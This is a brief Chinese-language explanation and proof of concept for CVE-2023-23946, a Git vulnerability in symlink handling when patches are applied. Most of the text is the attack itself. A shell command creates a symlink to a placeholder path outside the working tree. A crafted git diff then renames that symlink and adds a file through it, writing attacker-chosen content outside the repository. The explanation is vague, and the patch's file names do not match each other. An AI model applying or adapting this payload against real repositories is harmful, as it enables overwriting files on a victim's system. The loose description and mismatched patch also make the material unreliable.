CVE-2023-23946 的解释与 POC
CVE-2023-23946 漏洞是由于 Git 处理符号链接的方式存在缺陷导致的。当 Git 创建符号链接时,它实际上并没有将其视为符号链接,因此我们可以利用这一点使其指向工作树之外的文件。
ln -s [你想访问的工作树之外的路径] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[外部文件]
@@ -0,0 +1 @@
+[你想要写入文件的内容]
\ No newline at end of file
这个补丁做了什么?我们修改了现有符号链接的名称,并创建了一个新文件。这样,当我们修改 /newsymlink/[外部文件] 时,Git 不会应用其对符号链接的保护。